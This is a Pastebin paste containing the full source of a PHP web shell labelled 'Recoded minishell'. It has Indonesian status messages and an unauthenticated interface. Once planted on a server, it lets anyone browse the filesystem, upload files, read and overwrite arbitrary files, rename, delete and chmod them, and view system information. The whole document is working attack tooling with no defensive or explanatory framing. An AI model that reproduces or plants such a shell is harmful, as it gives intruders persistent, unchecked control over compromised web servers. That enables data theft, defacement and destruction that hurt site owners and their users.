Advertisement
Guest User

Untitled

a guest
Sep 19th, 2019
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.46 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. if(get_magic_quotes_gpc()){
  6. foreach($_POST as $key=>$value){
  7. $_POST[$key] = stripslashes($value);
  8. }
  9. }
  10.  
  11. echo '<!DOCTYPE HTML>
  12. <html>
  13. <head>
  14. <link href="" rel="stylesheet" type="text/css">
  15. <title></title>
  16. <style type="text/css">
  17.  
  18. body{
  19. font-family: "Tahoma";
  20. background-color: #19263a;
  21. color:white;
  22. }
  23. #content tr:hover{
  24. background-color: #1b283c;
  25. text-shadow:0px 0px 10px #fff;
  26. }
  27.  
  28. #content .first{
  29. background-color: #19263a;
  30. }
  31.  
  32. table{
  33. border: 1px #19263a dotted;
  34. }
  35. a{
  36. color:white;
  37. text-decoration: none;
  38. }
  39. .abir{
  40. color: #000;
  41. font-family: sans-serif;
  42. font-size: 10px;
  43. background-color: #35f6bc;
  44. text-decoration: none;
  45. font-color: #fff;
  46. border: 6px #35f6bc solid;
  47. -moz-border-radius: 5px;
  48. -webkit-border-radius:5px;
  49. border-radius:5px;
  50.  
  51. }
  52. .abirs{
  53. color: black;
  54. font-family: sans-serif;
  55. font-size: 10px;
  56. background-color: #aad1fe;
  57. text-decoration: none;
  58. font-color: #fff;
  59. border: 6px #aad1fe solid;
  60. -moz-border-radius: 5px;
  61. -webkit-border-radius:5px;
  62. border-radius:5px;
  63.  
  64. }
  65. .abirsak{
  66. color: #000;
  67. font-family: sans-serif;
  68. font-size: 10px;
  69. background-color: red;
  70. text-decoration: none;
  71. font-color: #fff;
  72. border: 6px red solid;
  73. -moz-border-radius: 5px;
  74. -webkit-border-radius:5px;
  75. border-radius:5px;
  76.  
  77. }
  78. select{
  79. color: #fff;
  80. font-family: sans-serif;
  81. font-size: 12px;
  82. height: 29px;
  83. background-color: #38475e;
  84. text-decoration: none;
  85. font-color: #fff;
  86. border: 1px #37465d solid;
  87. -moz-border-radius: 5px;
  88. -webkit-border-radius:5px;
  89. border-radius:5px;
  90.  
  91. }
  92. .sinput{
  93. color: #fff;
  94. font-family: sans-serif;
  95. font-size: 12px;
  96. height: 29px;
  97. background-color: #38475e;
  98. text-decoration: none;
  99. font-color: #fff;
  100. border: 1px #37465d solid;
  101. -moz-border-radius: 5px;
  102. -webkit-border-radius:5px;
  103. border-radius:5px;
  104. }
  105. textarea{
  106. border: 1px #fff solid;
  107. -moz-border-radius: 5px;
  108. -webkit-border-radius:5px;
  109. border-radius:5px;
  110. }
  111. .sinputqw{
  112. color: #000;
  113. font-family: sans-serif;
  114. font-size: 12px;
  115. height: 1px;
  116. background-color: #38475e;
  117. text-decoration: none;
  118. font-color: #fff;
  119. border: 1px #37465d solid;
  120.  
  121. </style>
  122. </head>
  123. <body>
  124. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  125.  
  126. <tr><td><h1><center><a href=? ><img style="width:280px;" src="https://www.exploit-db.com/images/edb-banner-logo-white.png"><hr class="sinputqw"></center></a>
  127. </h1><font size="2px" color="white">'.php_uname().'.</font><br><font size="2px" color="white">Path :</font> ';
  128. if(isset($_GET['path'])){
  129. $path = $_GET['path'];
  130. }else{
  131. $path = getcwd();
  132. }
  133. $path = str_replace('\\','/',$path);
  134. $paths = explode('/',$path);
  135.  
  136. foreach($paths as $id=>$pat){
  137. if($pat == '' && $id == 0){
  138. $a = true;
  139. echo '<a href="?path=/">/</a>';
  140. continue;
  141. }
  142. if($pat == '') continue;
  143. echo '<font size="2px"><a href="?path=';
  144. for($i=0;$i<=$id;$i++){
  145. echo "$paths[$i]";
  146. if($i != $id) echo "/";
  147. }
  148. echo '">'.$pat.'</a></font>/';
  149. }
  150. echo '</td></tr><tr><td>';
  151. if(isset($_FILES['file'])){
  152. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  153. echo '<font color="lime">Upload Berhasil</font><br />';
  154. }else{
  155. echo '<font color="red">Upload Gagal</font><br/>';
  156. }
  157. }
  158. echo '<form enctype="multipart/form-data" method="POST">
  159. <font color="white">File Upload :</font> <input type="file" name="file" />
  160. <input class="sinput" type="submit" value="upload" />
  161. </form>
  162. </td></tr>';
  163. if(isset($_GET['filesrc'])){
  164. echo "<tr><td>Current File : ";
  165. echo $_GET['filesrc'];
  166. echo '</tr></td></table><br />';
  167. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  168. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  169. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  170. if($_POST['opt'] == 'chmod'){
  171. if(isset($_POST['perm'])){
  172. if(chmod($_POST['path'],$_POST['perm'])){
  173. echo '<font color="lime">Change Permission Berhasil</font><br/>';
  174. }else{
  175. echo '<font color="red">Change Permission Gagal</font><br />';
  176. }
  177. }
  178. echo '<form method="POST">
  179. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  180. <input type="hidden" name="path" value="'.$_POST['path'].'">
  181. <input type="hidden" name="opt" value="chmod">
  182. <input class="abirs" type="submit" value="Go" />
  183. </form>';
  184. }elseif($_POST['opt'] == 'rename'){
  185. if(isset($_POST['newname'])){
  186. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  187. echo '<font color="lime">Ganti Nama Berhasil</font><br/>';
  188. }else{
  189. echo '<font color="red">Ganti Nama Gagal</font><br />';
  190. }
  191. $_POST['name'] = $_POST['newname'];
  192. }
  193. echo '<form method="POST">
  194. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  195. <input type="hidden" name="path" value="'.$_POST['path'].'">
  196. <input type="hidden" name="opt" value="rename">
  197. <input class="abirs" type="submit" value="Go" />
  198. </form>';
  199. }elseif($_POST['opt'] == 'edit'){
  200. if(isset($_POST['src'])){
  201. $fp = fopen($_POST['path'],'w');
  202. if(fwrite($fp,$_POST['src'])){
  203. echo '<font color="lime">Berhasil Edit File</font><br/>';
  204. }else{
  205. echo '<font color="red">Gagal Edit File</font><br/>';
  206. }
  207. fclose($fp);
  208. }
  209. echo '<form method="POST">
  210. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  211. <input type="hidden" name="path" value="'.$_POST['path'].'">
  212. <input type="hidden" name="opt" value="edit">
  213. <input class="abirs" type="submit" value="Save" />
  214. </form>';
  215. }
  216. echo '</center>';
  217. }else{
  218. echo '</table><br/><center>';
  219. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  220. if($_POST['type'] == 'dir'){
  221. if(rmdir($_POST['path'])){
  222. echo '<font color="lime">Directory Terhapus</font><br/>';
  223. }else{
  224. echo '<font color="red">Directory Gagal Terhapus </font><br/>';
  225. }
  226. }elseif($_POST['type'] == 'file'){
  227. if(unlink($_POST['path'])){
  228. echo '<font color="lime">File Terhapus</font><br/>';
  229. }else{
  230. echo '<font color="red">File Gagal Dihapus</font><br/>';
  231. }
  232. }
  233. }
  234. echo '</center>';
  235. $scandir = scandir($path);
  236. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  237. <tr class="ss" class="first">
  238. <td><center><font color="white" size="2px">Name</font></peller></center></td>
  239. <td><center><font color="white" size="2px">Size</font></peller></center></td>
  240. <td><center><font color="white" size="2px">Permission</font></peller></center></td>
  241. <td><center><font color="white" size="2px">Modify</peller></font></center></td>
  242. </tr>
  243. <tr class="first"><td></td><td></td><td></td><td></td></tr>';
  244.  
  245. foreach($scandir as $dir){
  246. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  247. echo '<tr>
  248. <td><font size="2px"><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></font></td>
  249. <td><font size="2px"color="white" ><center>--</center></font></td>
  250. <td><font size="2px"><center>';
  251. if(is_writable($path.'/'.$dir)) echo '<font color="lime">';
  252. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  253. echo perms($path.'/'.$dir);
  254. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  255.  
  256. echo '</font></center></td>
  257. <td><center><form method="POST" action="?option&path='.$path.'">
  258. <select name="opt">
  259. <option value="">Select</option>
  260. <option value="delete">Delete</option>
  261. <option value="chmod">Chmod</option>
  262. <option value="rename">Rename</option>
  263. </select>
  264. <input type="hidden" name="type" value="dir">
  265. <input type="hidden" name="name" value="'.$dir.'">
  266. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  267. <input class="sinput" type="submit" value=">">
  268. </form></center></td>
  269. </tr>';
  270. }
  271. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  272. foreach($scandir as $file){
  273. if(!is_file($path.'/'.$file)) continue;
  274. $size = filesize($path.'/'.$file)/1024;
  275. $size = round($size,3);
  276. if($size >= 1024){
  277. $size = round($size/1024,2).' MB';
  278. }else{
  279. $size = $size.' KB';
  280. }
  281.  
  282. echo '<tr>
  283. <td><font size="2px"><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></font></td>
  284. <td><font size="2px" color="white" ><center>'.$size.'</center></font></td>
  285. <td><font size="2px"><center>';
  286. if(is_writable($path.'/'.$file)) echo '<font color="lime">';
  287. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  288. echo perms($path.'/'.$file);
  289. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  290. echo '</font></center></td>
  291. <td><center><form method="POST" action="?option&path='.$path.'">
  292. <select name="opt">
  293. <option value="">Select</option>
  294. <option value="delete">Delete</option>
  295. <option value="chmod">Chmod</option>
  296. <option value="rename">Rename</option>
  297. <option value="edit">Edit</option>
  298. </select>
  299. <input type="hidden" name="type" value="file">
  300. <input type="hidden" name="name" value="'.$file.'">
  301. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  302. <input class="sinput" type="submit" value=">">
  303. </form></center></td>
  304. </tr>';
  305. }
  306. echo '</table>
  307. </div>';
  308. }
  309. echo "<center ><br><font size='2px'>Copyright &copy; ".date("Y")." - <font color='white'>Recoded minishell By M4L1KL8590X</center>";
  310. echo '</body>
  311. </html>';
  312. function perms($file){
  313. $perms = fileperms($file);
  314.  
  315. if (($perms & 0xC000) == 0xC000) {
  316. // Socket
  317. $info = 's';
  318. } elseif (($perms & 0xA000) == 0xA000) {
  319. // Symbolic Link
  320. $info = 'l';
  321. } elseif (($perms & 0x8000) == 0x8000) {
  322. // Regular
  323. $info = '-';
  324. } elseif (($perms & 0x6000) == 0x6000) {
  325. // Block special
  326. $info = 'b';
  327. } elseif (($perms & 0x4000) == 0x4000) {
  328. // Directory
  329. $info = 'd';
  330. } elseif (($perms & 0x2000) == 0x2000) {
  331. // Character special
  332. $info = 'c';
  333. } elseif (($perms & 0x1000) == 0x1000) {
  334. // FIFO pipe
  335. $info = 'p';
  336. } else {
  337. // Unknown
  338. $info = 'u';
  339. }
  340.  
  341. // Owner
  342. $info .= (($perms & 0x0100) ? 'r' : '-');
  343. $info .= (($perms & 0x0080) ? 'w' : '-');
  344. $info .= (($perms & 0x0040) ?
  345. (($perms & 0x0800) ? 's' : 'x' ) :
  346. (($perms & 0x0800) ? 'S' : '-'));
  347.  
  348. // Group
  349. $info .= (($perms & 0x0020) ? 'r' : '-');
  350. $info .= (($perms & 0x0010) ? 'w' : '-');
  351. $info .= (($perms & 0x0008) ?
  352. (($perms & 0x0400) ? 's' : 'x' ) :
  353. (($perms & 0x0400) ? 'S' : '-'));
  354.  
  355. // World
  356. $info .= (($perms & 0x0004) ? 'r' : '-');
  357. $info .= (($perms & 0x0002) ? 'w' : '-');
  358. $info .= (($perms & 0x0001) ?
  359. (($perms & 0x0200) ? 't' : 'x' ) :
  360. (($perms & 0x0200) ? 'T' : '-'));
  361.  
  362. return $info;
  363. }
  364. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement